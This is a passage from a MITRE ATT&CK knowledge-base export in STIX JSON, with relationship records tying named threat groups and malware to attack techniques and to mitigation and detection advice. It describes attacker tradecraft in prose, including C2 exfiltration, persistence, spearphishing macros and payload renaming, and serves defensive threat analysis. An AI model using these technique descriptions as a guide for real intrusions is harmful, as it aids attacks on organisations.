2016)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--35305a51-69ac-4fe2-b9e2-3c9a296e9f9b","type":"relationship","created":"2019-04-19T15:31:24.181Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT HOPLIGHT Apr 2019","url":"https://www.us-cert.gov/ncas/analysis-reports/AR19-100A","description":"US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019."}],"modified":"2019-09-09T19:15:45.674Z","description":"(Citation: US-CERT HOPLIGHT Apr 2019)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--35317fb7-9426-4f6e-9c78-64bb7a2da67f","created":"2023-04-04T22:34:47.949Z","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-04T22:34:47.949Z","description":"[Mafalda](https://attack.mitre.org/software/S1060) can manipulate the system registry on a compromised host.(Citation: SentinelLabs Metador Technical Appendix Sept 2022)","relationship_type":"uses","source_ref":"malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--353717ce-2c78-4752-941e-439421ec2448","created":"2024-09-23T23:03:20.437Z","revoked":false,"external_references":[{"source_name":"group-ib_redcurl1","description":"Group-IB. (2020, August). RedCurl: The Pentest You Didn’t Know About. Retrieved August 9, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl/"},{"source_name":"group-ib_redcurl2","description":"Group-IB. (2021, November). RedCurl: The Awakening. Retrieved August 14, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T23:03:20.437Z","description":"[RedCurl](https://attack.mitre.org/groups/G1039) has collected data from the local disk of compromised hosts.(Citation: group-ib_redcurl1)(Citation: group-ib_redcurl2)","relationship_type":"uses","source_ref":"intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--35373a50-d85d-4ac5-94bc-5896b48ac5c6","type":"relationship","created":"2019-04-19T19:02:03.938Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/","description":"Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.","source_name":"Palo Alto Networks BBSRAT"}],"modified":"2020-03-30T01:56:32.914Z","description":"[BBSRAT](https://attack.mitre.org/software/S0127) can compress data with ZLIB prior to sending it back to the C2 server.(Citation: Palo Alto Networks BBSRAT)","relationship_type":"uses","source_ref":"malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80","target_ref":"attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3537c31f-bd6f-4cad-97ac-4ec3d8a9478b","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto OilRig May 2016","description":"Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"}],"modified":"2020-03-16T16:55:39.510Z","description":"[Helminth](https://attack.mitre.org/software/S0170) establishes persistence by creating a shortcut.(Citation: Palo Alto OilRig May 2016)","relationship_type":"uses","source_ref":"malware--eff1a885-6f90-42a1-901f-eef6e7a1905e","target_ref":"attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--353dd407-0850-4bc4-a447-cd1b708b3833","type":"relationship","created":"2021-08-03T20:36:41.436Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2021-08-04T13:57:21.792Z","description":"[BoomBox](https://attack.mitre.org/software/S0635) can decrypt AES-encrypted files downloaded from C2.(Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"malware--c26f1c05-b861-4970-94dc-2f7f921a3074","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--35419603-7bc2-40f6-8e5d-4e7a8f13ebb7","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT34 Dec 2017","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"}],"modified":"2020-03-17T02:14:55.976Z","description":"[POWRUNER](https://attack.mitre.org/software/S0184) may use WMI when collecting information about a victim.(Citation: FireEye APT34 Dec 2017)","relationship_type":"uses","source_ref":"malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3541e998-a3ac-42d7-8a66-f66da6f9162a","type":"relationship","created":"2020-10-19T16:08:30.018Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco IOS Software Integrity Assurance - TACACS","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#39","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - TACACS. Retrieved October 19, 2020."}],"modified":"2022-02-16T20:15:45.756Z","description":"Use multi-factor authentication for user and privileged accounts. Most embedded network devices support TACACS+ and/or RADIUS. Follow vendor prescribed best practices for hardening access control.(Citation: Cisco IOS Software Integrity Assurance - TACACS)","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--b8017880-4b1e-42de-ad10-ae7ac6705166","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--35423c2b-7b57-423b-8573-6f6cf2cd22ec","created":"2024-04-17T23:41:06.304Z","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Update May 2021","description":"Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T23:41:06.304Z","description":"[APT5](https://attack.mitre.org/groups/G1023) has used the BLOODMINE utility to parse and extract information from Pulse Secure Connect logs.(Citation: Mandiant Pulse Secure Update May 2021)","relationship_type":"uses","source_ref":"intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9","target_ref":"attack-pattern--866d0d6d-02c6-42bd-aa2f-02907fdc0969","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--35428082-1010-4e0e-ac4c-9f1426de7796","type":"relationship","created":"2020-03-27T12:10:23.761Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-27T12:18:44.451Z","description":"System settings can prevent applications from running that haven't been downloaded from legitimate repositories which may help mitigate some of these issues. Not allowing unsigned applications from being run may also mitigate some risk.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--35437cd0-280a-407d-9f3a-36dc61deba1a","created":"2024-09-17T18:37:29.693Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitsight Latrodectus June 2024","description":"Batista, J. (2024, June 17). Latrodectus, are you coming back?. Retrieved September 13, 2024.","url":"https://www.bitsight.com/blog/latrodectus-are-you-coming-back"},{"source_name":"Latrodectus APR 2024","description":"Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"},{"source_name":"Elastic Latrodectus May 2024","description":"Stepanic, D. and Bousseaden, S. (2024, May 15). Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID. Retrieved September 13, 2024.","url":"https://www.elastic.co/security-labs/spring-cleaning-with-latrodectus"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-18T19:55:32.849Z","description":"\n[Latrodectus](https://attack.mitre.org/software/S1160) can create scheduled tasks for persistence.(Citation: Latrodectus APR 2024)(Citation: Elastic Latrodectus May 2024)(Citation: Bitsight Latrodectus June 2024)","relationship_type":"uses","source_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--354551e4-c6aa-495a-aba5-b7437c485d34","type":"relationship","created":"2021-03-24T14:10:06.717Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 TA551 Jan 2021","url":"https://unit42.paloaltonetworks.com/ta551-shathak-icedid/","description":"Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021."}],"modified":"2021-03-25T15:34:04.468Z","description":"[TA551](https://attack.mitre.org/groups/G0127) has prompted users to enable macros within spearphishing attachments to install malware.(Citation: Unit 42 TA551 Jan 2021)","relationship_type":"uses","source_ref":"intrusion-set--94873029-f950-4268-9cfd-5032e15cb182","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--35483df6-413c-4c77-b1b9-0acd14f77775","type":"relationship","created":"2022-03-30T14:26:51.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.874Z","description":"Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account.","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--354b4d10-aa58-462e-ba7e-c99d1da51f46","created":"2022-03-30T14:26:51.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T16:41:06.719Z","description":"Monitor executed commands and arguments for suspicious commands to modify accounts or account settings (including files such as the `authorized_keys` or `/etc/ssh/sshd_config`).\n\nMonitor executed commands and arguments of suspicious commands (such as `Add-MailboxPermission`) that may be indicative of modifying the permissions of Exchange and other related service settings.","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--354fe9c0-2b9b-43f9-98a0-ae0ee1515d4d","type":"relationship","created":"2020-07-27T17:47:34.017Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Promethium June 2020","url":"https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html","description":"Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."},{"source_name":"Bitdefender StrongPity June 2020","url":"https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf","description":"Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020."}],"modified":"2020-07-27T18:55:17.727Z","description":"[StrongPity](https://attack.mitre.org/software/S0491) can exfiltrate collected documents through C2 channels.(Citation: Talos Promethium June 2020)(Citation: Bitdefender StrongPity June 2020)","relationship_type":"uses","source_ref":"malware--20945359-3b39-4542-85ef-08ecb4e1c174","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3551c43c-b1b9-432b-8c3a-cf0265ca74ff","type":"relationship","created":"2021-07-06T21:52:00.353Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"win10_asr","url":"https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction","description":"Microsoft. (2021, July 2). Use attack surface reduction rules to prevent malware infection. Retrieved June 24, 2021."}],"modified":"2022-01-05T21:40:28.482Z","description":"On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent executable files from running unless they meet a prevalence, age, or trusted list criteria and to prevent Office applications from creating potentially malicious executable content by blocking malicious code from being written to disk. Note: cloud-delivered protection must be enabled to use certain rules. (Citation: win10_asr)","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3557761c-5583-48a8-b7a0-0587df3d01bd","created":"2024-02-22T21:30:48.136Z","revoked":false,"external_references":[{"source_name":"Rostovcev APT41 2021","description":"Nikita Rostovcev. (2022, August 18). APT41 World Tour 2021 on a tight schedule. Retrieved February 22, 2024.","url":"https://www.group-ib.com/blog/apt41-world-tour-2021/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-22T21:30:48.136Z","description":"[APT41](https://attack.mitre.org/groups/G0096) uses the Chinese website fofa.su, similar to the Shodan scanning service, for passive scanning of victims.(Citation: Rostovcev APT41 2021)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--ec4be82f-940c-4dcb-87fe-2bbdd17c692f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3559da63-5706-4e5a-b130-89858c2c0f44","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/","description":"Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda – A potential new malicious tool. Retrieved June 25, 2018.","source_name":"Nccgroup Emissary Panda May 2018"}],"modified":"2021-03-29T19:43:26.850Z","description":"A [Threat Group-3390](https://attack.mitre.org/groups/G0027) tool can read and decrypt stored Registry values.(Citation: Nccgroup Emissary Panda May 2018)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--355d8ef4-ed79-49e4-b287-feb525d33ac4","type":"relationship","created":"2021-06-21T15:42:04.353Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-06-22T15:32:10.454Z","description":"(Citation: Securelist APT10 March 2021)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"malware--7c58fff0-d206-4db1-96b1-e3a9e0e320b9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--355eb66e-dc0a-44d4-b31d-3dbe7570a0d2","type":"relationship","created":"2019-06-24T13:50:29.667Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/","description":"Nunez, N. (2017, August 9). Moving Beyond EMET II – Windows Defender Exploit Guard. Retrieved March 12, 2018.","source_name":"TechNet Moving Beyond EMET"},{"url":"https://en.wikipedia.org/wiki/Control-flow_integrity","description":"Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.","source_name":"Wikipedia Control Flow Integrity"}],"modified":"2020-03-29T20:00:47.010Z","description":"Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software targeted for defense evasion.","relationship_type":"mitigates","source_ref":"course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3","target_ref":"attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--35615dc6-1793-4d6a-b778-b3f0ab6e46dc","type":"relationship","created":"2021-10-13T21:52:28.486Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Nomadic Octopus 2018","url":"https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf","description":"Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021."}],"modified":"2021-10-14T14:09:00.802Z","description":"[Nomadic Octopus](https://attack.mitre.org/groups/G0133) used cmd.exe /c within a malicious macro.(Citation: ESET Nomadic Octopus 2018)","relationship_type":"uses","source_ref":"intrusion-set--fed4f0a2-4347-4530-b0f5-6dfd49b29172","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--35624bc2-caf0-4124-88e8-6f60ae52ed9c","created":"2020-05-19T20:39:12.502Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Gamaredon June 2020","description":"Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.","url":"https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/"},{"source_name":"CERT-EE Gamaredon January 2021","description":"CERT-EE. (2021, January 27). Gamaredon Infection: From Dropper to Entry. Retrieved February 17, 2022.","url":"https://www.ria.ee/sites/default/files/content-editors/kuberturve/tale_of_gamaredon_infection.pdf"},{"source_name":"TrendMicro Gamaredon April 2020","description":"Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/"},{"source_name":"Microsoft Actinium February 2022","description":"Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022.","url":"https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/"},{"source_name":"Secureworks IRON TILDEN Profile","description":"Secureworks CTU. (n.d.). IRON TILDEN. Retrieved February 24, 2022.","url":"https://www.secureworks.com/research/threat-profiles/iron-tilden"},{"source_name":"unit42_gamaredon_dec2022","description":"Unit 42. (2022, December 20). Russia’s Trident Ursa (aka Gamaredon APT) Cyber Conflict Operations Unwavering Since Invasion of Ukraine. Retrieved September 12, 2024.","url":"https://unit42.paloaltonetworks.com/trident-ursa/"},{"source_name":"Unit 42 Gamaredon February 2022","description":"Unit 42. (2022, February 3). Russia’s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine. Retrieved February 21, 2022.","url":"https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T20:43:03.535Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has delivered spearphishing emails with malicious attachments to targets.(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)(Citation: CERT-EE Gamaredon January 2021)(Citation: Microsoft Actinium February 2022)(Citation: Unit 42 Gamaredon February 2022)(Citation: Secureworks IRON TILDEN Profile)(Citation: unit42_gamaredon_dec2022)","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--35646501-5bff-41bb-a50f-c4f3b1d326f9","created":"2023-05-24T18:26:26.886Z","revoked":false,"external_references":[{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-05-24T18:26:26.886Z","description":"(Citation: Mandiant Suspected Turla Campaign February 2023)","relationship_type":"uses","source_ref":"campaign--c89fa3ff-4773-4daf-8aec-d8f43f10116e","target_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3564dc8e-09d0-4855-8a90-d4c28a9488e5","created":"2023-02-14T20:59:15.805Z","revoked":false,"external_references":[{"source_name":"Cisco Talos Avos Jun 2022","description":"Venere, G. Neal, C. (2022, June 21). Avos ransomware group expands with new attack arsenal. Retrieved January 11, 2023.","url":"https://blog.talosintelligence.com/avoslocker-new-arsenal/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-14T20:59:15.805Z","description":"For [C0018](https://attack.mitre.org/campaigns/C0018), the threat actors renamed a [Sliver](https://attack.mitre.org/software/S0633) payload to `vmware_kb.exe`.(Citation: Cisco Talos Avos Jun 2022)","relationship_type":"uses","source_ref":"campaign--519ee082-8ab6-439b-988f-a8a3f02c8d30","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3565539f-7ebf-4288-8422-5212c774821b","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2020-03-17T01:57:57.398Z","description":"[NETEAGLE](https://attack.mitre.org/software/S0034) is capable of reading files over the C2 channel.(Citation: FireEye 